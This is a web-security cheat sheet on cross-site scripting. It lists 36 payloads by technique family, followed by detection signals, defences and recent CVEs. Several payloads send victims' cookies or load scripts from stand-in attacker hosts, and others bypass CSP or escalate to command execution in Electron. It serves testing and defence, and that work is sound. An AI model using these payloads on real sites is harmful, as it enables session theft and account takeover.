Vulnsy
All cheat sheets

Cross-Site Scripting (XSS) Cheat Sheet

highOWASP Top 10 A03CWE-79CWE-80CWE-87CWE-116

Cross-site scripting is a flaw where attacker-controlled input is rendered into a page in an executable context, letting JavaScript run in another user’s browser session. The canonical taxonomy is reflected (single-victim link), stored (multi-victim, persisted), DOM-based (client-side source-to-sink) and mutation XSS where a sanitiser-then-parser round trip exposes a tag the sanitiser blessed.

Defense order is output encoding by context, Trusted Types to ban dangerous string-to-DOM sinks at the platform level, then CSP with strict-dynamic plus nonces. DOMPurify with RETURN_TRUSTED_TYPE handles the unavoidable user-supplied-HTML case, but only if you never mutate its output before insertion.

36 payloads across 8 technique families

Reflected XSS

Payload arrives in the request and is echoed un-encoded in the immediate response — single-victim, link-driven, and the easiest class to find via response-body diffing. (PortSwigger; WSTG-INPV-01.)

Detection signals
  • The exact payload string (or a controlled marker) appears un-encoded in the response body
  • Diff which of < > " ' survive to determine the renderable context

Classic image error handler

HTML body context
<img src=x onerror=alert(1)>

A broken image src forces the browser to fire the onerror handler — minimal markup that survives allow-lists which strip <script> but allow common HTML tags with event attributes.

SVG onload

HTML body context
<svg onload=alert(1)>

Works wherever <script> is filtered but SVG is not, because the SVG namespace expands the allowed handler set. Fires automatically when the SVG node is rendered.

SVG animation event

HTML body context
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<animate>'s onbegin fires without user interaction in Chrome, Firefox and Safari; useful when onload is filtered but animation events are not.

Body onpageshow handler

HTML body context
<body onpageshow=alert(1)>

onpageshow fires on every navigation, including bfcache restores, with no user interaction — slips past filters that focus on onload / onerror but forget the broader event surface.

Reflected marker probe

Detection
vXSS-7c9f<>"'/

Diagnostic, not weaponised: send a unique marker plus the four metacharacters (< > " ') and diff which survive un-encoded. The surviving set tells you which context-specific payload is needed.

Stored XSS

Payload is persisted server-side and rendered later to other users — the highest-blast-radius variant, often pivoting from a low-privilege author to a privileged admin viewer. (WSTG-INPV-02.)

Detection signals
  • Marker rendered to a different user / session / role than the one that submitted it
  • Out-of-band beacons (XSS Hunter / Interactsh / fetch to your collaborator host) firing from internal IP ranges

Stored cookie exfil beacon

HTML body context
<img src=x onerror="fetch('https://x.oast.example/?c='+document.cookie)">

Once stored and rendered to another session, the onerror handler beacons the victim's cookies to the attacker host. If HttpOnly is set, cookies aren't reachable — a reminder of why HttpOnly matters.

Blind XSS callback

Admin / back-office HTML context
<script src="https://x.oast.example/p.js"></script>

Used when the rendered context (admin back-office, support ticket viewer) is not visible to the attacker; the external script reports back via the OAST host with DOM, URL and storage snapshots.

Stored DOM XSS via persisted JSON

Stored DOM sink
"><img src=x onerror=alert(1)>

Stored as user-supplied JSON value, then later interpolated into innerHTML by a client-side renderer; payload escapes the attribute and lands in a DOM sink. Pattern matches the CI4MS CVE-2026-34565 family.

Stored markdown link with javascript: scheme

Markdown / rich-text renderer
[click](javascript:alert(1))

Markdown renderers that emit <a href="…"> without scheme allow-listing turn javascript: links into one-click XSS for any later viewer; classic stored vector against rich-text features.

Electron stored-XSS-to-RCE primer

Electron renderer with Node integration
<img src=x onerror="require('child_process').exec('calc')">

When a desktop app renders user content with Node integration enabled, stored XSS escalates to arbitrary command execution because the renderer process exposes require(). The Notesnook CVE-2026-42090 chain matches this shape.

DOM-based XSS

The server response is benign; client-side JS reads attacker-controlled input from a source (location.hash, postMessage, localStorage, document.referrer) and writes it to a sink (innerHTML, eval, document.write, el.src). (WSTG-CLNT-01.)

Detection signals
  • Marker appears in DOM after JS runs but not in the raw server response
  • DOM Invader (PortSwigger) and Chrome DevTools "Sources → DOM XSS" panel highlight the source-to-sink flow

location.hash to innerHTML

innerHTML sink
http://victim/page#<img src=x onerror=alert(1)>

Client code reads location.hash and assigns it to el.innerHTML. The fragment never reaches the server, so server-side WAFs and logs are blind — only DOM-aware tooling sees it.

postMessage to document.write

document.write sink
window.opener.postMessage('<svg onload=alert(1)>','*')

An attacker page calls postMessage to a victim window that doesn't validate event.origin, dropping HTML into a document.write sink. Always allow-list origins and validate message shape.

document.referrer to el.src

el.src sink
javascript:alert(1)

Some analytics shims read document.referrer and assign it to an iframe or script src; a javascript: scheme in the referrer fires when the assignment happens. Mitigate by scheme allow-listing.

localStorage to eval

eval sink
alert(1)//

Apps that JSON.parse a user-influenced localStorage value and then eval the result trust client storage as if it were code. localStorage is mutable by any same-origin script — including XSS in unrelated paths.

Adobe Connect-shape postMessage XSS

postMessage handler innerHTML sink
{ html: '<img src=x onerror=alert(1)>' }

Real-time collaboration platforms accept postMessage payloads with html fields and route them into innerHTML for in-app chat / sharing — exactly the CVE-2026-27246 shape on Adobe Connect 2025.3 / 12.10.

Mutation XSS (mXSS)

Sanitised HTML is mutated by the parser/serialiser round trip into something dangerous — the sanitiser saw a benign tree, but the browser re-parse exposes a tag. Underlies the recent DOMPurify CVEs.

Detection signals
  • Submit a sanitised-but-mutating string and check el.outerHTML after insertion — if it differs from input in a way that exposes a tag, you have mXSS
  • CSP report-uri / report-to violations on supposedly-sanitised content

noscript title-attribute breakout

Sanitiser output post-serialisation
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

The sanitiser sees a benign title attribute on <p>. The browser, re-parsing the serialised output with a different content model inside <noscript>, treats the </noscript> as a real end tag and exposes the <img> — classic Cure53 mXSS.

DOMPurify pre-3.2.7 mXSS class

DOMPurify 3.1.3–3.2.6 / 2.5.3–2.5.8
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert(1)>

Foreign-content namespace (MathML / SVG) confuses the serialiser-then-reparser pipeline; CVE-2025-15599 and CVE-2026-0540 cover this class for DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8. Pin ≥ 3.2.7 / 2.5.9.

Post-sanitisation DOM mutation

Application code post-DOMPurify
<a href="javascript:alert(1)">x</a>

After DOMPurify cleans the input, application code that resets href via setAttribute or string concat reintroduces the dangerous scheme. OWASP's rule: never mutate sanitiser output before insertion.

Style-tag mutation primitive

Sanitiser allow-listing <style>
<style><style/><img src=x onerror=alert(1)>

<style> raw-text content model lets a malformed second <style/> token resync the parser into HTML mode, exposing the <img>. Survives sanitisers that allow-list <style> for trusted CSS.

HTML attribute context breakout

Input lands inside an attribute value; quoting, autofocus and event-handler tricks let it break out into executing JavaScript without needing a new tag.

Quote-break with autofocus

Quoted HTML attribute
" autofocus onfocus=alert(1) x="

Closes the existing attribute value, adds an autofocus attribute that self-triggers onfocus without user interaction, and reopens a benign attribute so the rest of the tag still parses.

No-quote attribute injection

Unquoted HTML attribute
 onmouseover=alert(1) //

Lands inside an unquoted attribute (a common framework slip). The leading space terminates the previous attribute value, the new event handler is parsed as legal HTML, and // comments out trailing junk.

Event handler via setAttribute sink

setAttribute event-handler sink
alert(1)

Application code calls el.setAttribute('onclick', userInput); the browser registers the handler exactly like a static one. The fix is never to call setAttribute on event-handler names with user input.

Attribute-context HTML-entity decode

Quoted attribute with partial encoding
&#x22; autofocus onfocus=&#x61;lert(1) x=&#x22;

HTML entities decode at parse time, so &#x22; becomes a literal double-quote and the alert call appears post-decode — useful when application code HTML-escapes < and > but forgets to encode quotes for attribute context.

JavaScript string and template context

Input lands inside a JS string, template literal or backslash-escaped sequence; closing the literal lets the attacker pivot into arbitrary statements.

Single-quote string breakout

JS single-quoted string
';alert(1);//

Closes the existing JS single-quoted string, runs alert, and comments out the trailing ' so the script still parses cleanly. The canonical JS-string context payload.

Template literal interpolation

JS template literal
${alert(1)}

Inside a JS template literal, ${...} is evaluated as an expression. Any reflection of user input into a backtick-delimited string is therefore live-eval, not data.

Backslash-escaped breakout

JS string with backslash escaping
\';alert(1);//

When the application escapes ' as \', appending another \ bypasses the escape: the trailing \\' becomes \\ (escaped backslash) followed by an unescaped quote, closing the string.

JSON-in-script HTML-comment break

JSON inside inline <script>
</script><svg onload=alert(1)>

When user data is JSON-stringified into an inline <script>, < and > are not escaped by JSON.stringify. A literal </script> closes the script element and the SVG fires in HTML context.

CSP bypass primitives

Vectors that work even when a Content-Security-Policy is in place — the modern attacker landscape, where CSP is the rule and CSP bypasses are the new XSS lifecycle.

base-uri hijack

CSP without base-uri directive
<base href="//attacker.example/">

Without an explicit base-uri directive, an attacker-injected <base> rewrites the resolution of every relative <script src> on the page, redirecting them to an attacker host — even under a strict CSP.

JSONP endpoint allowed by script-src

CSP script-src CDN allow-list
<script src="https://allowed.cdn/jsonp?callback=alert(1)//"></script>

Mature CDNs almost all host a JSONP or polyfill endpoint that reflects the callback parameter as an executable identifier; allow-listing the CDN in script-src effectively allows arbitrary JS.

strict-dynamic chained child script

CSP strict-dynamic + nonces
<script nonce="…">var s=document.createElement('script');s.src='//attacker.example/p.js';document.body.appendChild(s);</script>

Once an attacker has any execution under a valid nonce — e.g. via a stored DOM sink that copies a legitimate nonce — strict-dynamic lets that script create children freely. The fix is preventing the initial execution, not relying on strict-dynamic.

Nonce leak via CSS attribute selector

CSP nonce in DOM attribute
script[nonce^="ab"]{background:url(//attacker.example/?ab)}

CSS attribute selectors plus a side channel (URL request) leak the nonce one prefix at a time. Mitigation is not exposing the nonce as a readable attribute — use the IDL property and clear the attribute, as Chrome already does for browser-set nonces.

MutantBedrog Trusted-Types iframe collusion

Trusted Types parent + network iframe
<iframe src="https://attacker.example/tt.html"></iframe>

Network-served iframes do not inherit Trusted-Types from the parent's CSP. The attacker iframe creates its own permissive trustedTypes.createPolicy and operates outside the parent restrictions — the spec explicitly warns about this collusion.

Polyglot and URL-context payloads

Payloads that work across HTML, attribute, JS-string and comment contexts in one shot — useful for fuzzing breadth before per-context confirmation.

Heyes / 0xsobky polyglot

Multi-context fuzz
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

Single string designed to escape HTML body, attributes, JS strings, comments and href contexts; useful for one-shot fuzzing across many sinks. Per-context payloads above are more diagnostic for confirmation.

javascript: href

Anchor href
<a href="javascript:alert(1)">x</a>

Any sink that takes a navigation URL without scheme allow-listing fires JS on click. Mitigation is allow-listing https: and relative URLs only.

data:text/html iframe

iframe src
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

data: URIs carrying HTML execute in the embedding origin in older renderers and as a unique opaque origin in modern browsers — still useful for phishing chains and embedded content sinks.

Shadow-DOM onslotchange

Shadow DOM
<x-y><template shadowroot=open><slot></slot></template><span slot=s>x</span></x-y>

Declarative shadow DOM lets attacker markup register an onslotchange handler in a custom element, firing without obvious script tags — covered in PortSwigger’s 2024–2025 cheat-sheet additions.

Modern bypasses (2023–2026)

MutantBedrog Trusted-Types CSP bypass

Confiant's research (2024, reposted Feb 2026) showed that CSP — including require-trusted-types-for 'script' — is not propagated to network-served iframes, only to local schemes. An attacker-controlled iframe creates its own trustedTypes.createPolicy and operates outside the parent's restrictions. The Trusted-Types spec explicitly warns about this collusion. Mitigate via Origin-Policy / Embedded-Policy or by blocking third-party-rendered same-origin iframes.

// Inside the attacker iframe
trustedTypes.createPolicy('p', { createHTML: s => s }).createHTML('<img src=x onerror=alert(1)>');

Nonce leakage via CSS attribute selectors

Attribute selectors like [nonce^="ab"] combined with a CSS-driven side channel (background-image URL) reveal nonces character by character. Mitigation: do not ship nonces to the DOM as readable attributes — use the IDL property and clear the attribute, as Chrome already does for browser-set nonces.

script[nonce^="ab"]{background:url(//attacker.example/?ab)}

DOMPurify mutation XSS class

CVE-2025-15599 and CVE-2026-0540 covered mXSS in DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8 — the sanitiser-then-serialiser-then-reparser pipeline is hard to make idempotent, especially with foreign-content (MathML / SVG) namespaces. Pin DOMPurify ≥ 3.2.7 / 2.5.9 and avoid post-sanitisation DOM transforms.

Const-shadowing handler hijack

Declaring a const global before legitimate code creates an unrebindable identifier, hijacking later references and sometimes converting reflected DOM into RCE-equivalent control flow (HackTricks 2025). Mitigation: load critical code from frozen modules and pin order with <script type="module"> import maps.

const fetch = (...a) => originalFetch(...a, { credentials: "include" })

Electron / Tauri renderer privilege chain

When the renderer process has Node integration enabled (Electron) or asset CSP is disabled (Tauri), stored XSS escalates to RCE because the renderer can require('child_process') or call native APIs directly. Notesnook CVE-2026-42090 is the canonical 2026 example.

List-Unsubscribe header XSS (RFC 2369)

Webmail clients that render the List-Unsubscribe header URL as a button will happily render attacker-controlled javascript: or data: URIs. Vendor-class issue rather than app-class but worth flagging during email-rendering reviews.

Defences

Output encoding by context

Foundation of every other defense: HTML body, HTML attribute, JS string, URL and CSS each have a different encoding rule, and mis-context (HTML-encoding a JS-string sink) is functionally no encoding. Use the framework's auto-escaper rather than rolling your own.

// React auto-escapes children by default — keep it that way.
function Comment({ body }: { body: string }) {
  // Safe: React HTML-encodes for HTML body context.
  return <p>{body}</p>;

  // DANGEROUS: dangerouslySetInnerHTML disables the escaper.
  // return <p dangerouslySetInnerHTML={{ __html: body }} />;
}

Trusted Types

Bans dangerous string-to-DOM sinks (innerHTML, Function, document.write, etc.) at the platform level. Bugs that would have been "easy to write and hope to catch" become "impossible to write" — the strongest single XSS mitigation when paired with a strict CSP.

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default app-policy

CSP that is actually effective (strict-dynamic + nonces + Trusted Types)

Per Chrome Lighthouse guidance: avoid CDN allow-lists (almost all mature CDNs host JSONP or polyfill endpoints that are CSP-bypass primitives); generate per-response nonces; use strict-dynamic so trusted scripts can spawn children without re-listing; layer Trusted Types on top.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic' 'unsafe-inline' https:;
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';
  trusted-types default app-policy;
  report-to csp-endpoint

DOMPurify with RETURN_TRUSTED_TYPE

For the unavoidable user-supplied-HTML case (rich-text editors, markdown previews). Set RETURN_TRUSTED_TYPE so the output integrates with Trusted Types, USE_PROFILES.html for a sane allow-list, and never mutate the result before insertion (post-sanitisation mutation reopens mXSS).

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userHtml, {
  USE_PROFILES: { html: true },
  RETURN_TRUSTED_TYPE: true,
});

// Insert exactly what DOMPurify produced — no setAttribute, no
// string concat, no later DOM transforms on the cleaned tree.
container.innerHTML = clean as unknown as string;

HttpOnly + __Host- cookies and SameSite

Even when XSS lands, HttpOnly cookies cannot be read from JS, so session-token exfil is blocked. __Host- prefix forces Secure + Path=/ + no Domain, locking the cookie to a single origin; SameSite=Lax is the minimum to neuter cross-origin abuse.

Set-Cookie: __Host-session=…; Secure; HttpOnly; SameSite=Lax; Path=/

X-Content-Type-Options: nosniff

Prevents JSON / text endpoints from being sniffed as HTML and rendered. Combine with strict Content-Type: application/json; charset=utf-8 on JSON responses (OWASP rule 6) so user data destined for fetch never re-enters as HTML.

X-Content-Type-Options: nosniff
Content-Type: application/json; charset=utf-8

Validate postMessage origin and message shape

event.origin must be checked against an allow-list before reading event.data; the data itself should be validated by schema (Zod / a manual type guard) and treated as untrusted input subject to the same encoding rules as HTTP body. Adobe Connect CVE-2026-27246 is a 2026 reminder that this is still missed.

const ALLOWED_ORIGINS = new Set(['https://app.example.com']);

window.addEventListener('message', (event) => {
  if (!ALLOWED_ORIGINS.has(event.origin)) return;
  const parsed = MessageSchema.safeParse(event.data);
  if (!parsed.success) return;
  handleMessage(parsed.data);
});

Avoid dangerous sinks even with auto-escaping

innerHTML, outerHTML, document.write[ln], eval, Function, setTimeout(string,…), setInterval(string,…), el.setAttribute('on*',…), <a href={input}> without scheme allow-list, React's dangerouslySetInnerHTML, Vue's v-html, Angular's bypassSecurityTrust* — all of these are escape hatches around the framework's escaping. Lint for them.

Subresource Integrity (SRI) and CSP reporting

SRI on every external script doesn't stop XSS itself but prevents one CDN compromise from globally backdooring you. CSP report-uri / report-to wired to your SIEM often surfaces real-world breaches before user reports do.

<script src="https://cdn.example/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>

Real-world CVEs

CVEYearTitleDescription
CVE-2026-420902026Notesnook stored XSS escalating to RCEStored XSS in note content executed in the Electron renderer with Node integration, escalating to remote code execution. CVSS 9.6, May 2026. Generalises to any framework that renders user content in a privileged context (Electron, Tauri without dangerous-asset CSP modification, broad-permission browser extensions).
CVE-2026-272462026Adobe Connect DOM-based XSSDOM-based XSS in Adobe Connect 2025.3 and 12.10 via postMessage-driven sinks. CVSS 9.3, 2026. Real-time / collaboration platforms remain a high-value DOM-XSS target; pen-test postMessage handlers with malicious origins and shape-confused payloads.
CVE-2026-345652026CI4MS stored DOM XSS via menu managementStored / stored-DOM XSS in CI4MS menu management, part of a family with CVE-2026-34558 / -34566 / -34569. CVSS 9.1–9.9, March–April 2026. Pattern to test for: any rich admin field rendered to other roles in an admin dashboard.
CVE-2026-335102026Homarr DOM-based XSSDOM-based XSS in Homarr, 2026. Self-hosted dashboard with widgets that render user-supplied HTML — a category that has produced repeated DOM-XSS findings.
CVE-2026-05402026DOMPurify mutation-XSS class bugMutation XSS class bug in DOMPurify 3.1.3–3.2.6 and 2.5.3–2.5.8, paired with CVE-2025-15599. Reinforces that the sanitiser-then-serialiser-then-reparser pipeline is hard to make idempotent. Pin DOMPurify ≥ 3.2.7 / 2.5.9 and avoid post-sanitisation DOM transforms.
CVE-2025-155992025DOMPurify mutation XSS (Carbon Chart advisory)Companion mXSS class bug to CVE-2026-0540; covered by the IBM Carbon Chart advisory. Demonstrates that defense-in-depth still matters — even a hardened sanitiser can ship class bugs that re-enable XSS through serialiser confusion.
CVE-2025-326252025Mobile Pages reflected XSSReflected XSS in a mainstream CMS Mobile Pages plugin, 2025. Illustrative reminder that the "boring" reflected-XSS class continues to ship in mature CMS ecosystems.

Further reading